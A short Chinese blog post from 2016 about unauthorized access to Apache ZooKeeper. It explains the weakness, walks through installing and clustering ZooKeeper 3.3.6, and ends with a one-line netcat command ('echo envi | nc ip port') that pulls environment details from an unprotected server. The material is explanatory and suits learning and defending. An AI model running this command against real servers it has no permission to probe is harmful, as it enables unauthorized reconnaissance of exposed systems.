Zookeeper未授权访问

 

l 漏洞名称:

zookeeper未授权访问

l  漏洞影响版本:

zookeeper

l  漏洞细节:

ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。b它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。

ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。

l Zookeeper安装:

1. 安装

#wget http://www.apache.org/dist//zookeeper/zookeeper-3.3.6/zookeeper-3.3.6.tar.gz

#tar zxvf zookeeper-3.3.6.tar.gz

#mv zookeeper-3.3.6 /usr/local/zookeeper-3.3.6-2181

#cd /usr/local/zookeeper-3.3.6-2181

#cp conf/zoo_sample.cfg conf/zoo.cfg

新建文件夹

#mkdir -p /usr/local/zookeeper-3.3.6-2181/data

#mkdir -p /usr/local/zookeeper-3.3.6-2181/log

2.  集群配置

#vim conf/zoo.cfg

# The number of milliseconds of each tick

tickTime=2000

# The number of ticks that the initial

# synchronization phase can take

initLimit=10

# The number of ticks that can pass between

# sending a request and getting an acknowledgement

syncLimit=5

# the directory where the snapshot is stored.

dataDir=/usr/local/zookeeper-3.3.6-2181/data

dataLogDir=/usr/local/zookeeper-3.3.6-2181/log

# the port at which the clients will connect

clientPort=2181

#server.A=B:C:D:其中 A 是一个数字,表示这个是第几号服务器;B 是这个服务器的 ip 地址;C 表示的是这个服务器与集群中的 Leader 服务器交换信息的端口;D 表示的是万一集群中的 #Leader 服务器挂了,需要一个端口来重新进行选举,选出一个新的 Leader,而这个端口就是用来执行选举时服务器相互通信的端口。如果是伪集群的配置方式,由于 B 都是一样,所以不同的 #Zookeeper 实例通信端口号不能一样,所以要给它们分配不同的端口号。

server.1=192.168.124.214:2287:3387

server.2=192.168.124.215:2288:33883

3.增加myid文件

并在data目录下放置myid文件:(上面zoo.cfg中的dataDir)

#mkdir data

#vim myid

myid指明自己的id,对应上面zoo.cfg中server.后的数字,第一台的内容为1,第二台的内容为2,内容如下:

1

4. 启动

#./bin/zkServer.sh start

Server启动之后就可以启动client连接server执行脚本:

#./bin/zkCli.sh -server ip:2181  

5. 停止

#./bin/zkServer.sh stop

l  漏洞演示:

执行以下命令即可远程获取该服务器的环境

echo envi | nc ip port

 

安装nc:

#yum install nc

 

 

posted @ 2016-02-28 21:10 sevck 阅读(...) 评论(...) 编辑 收藏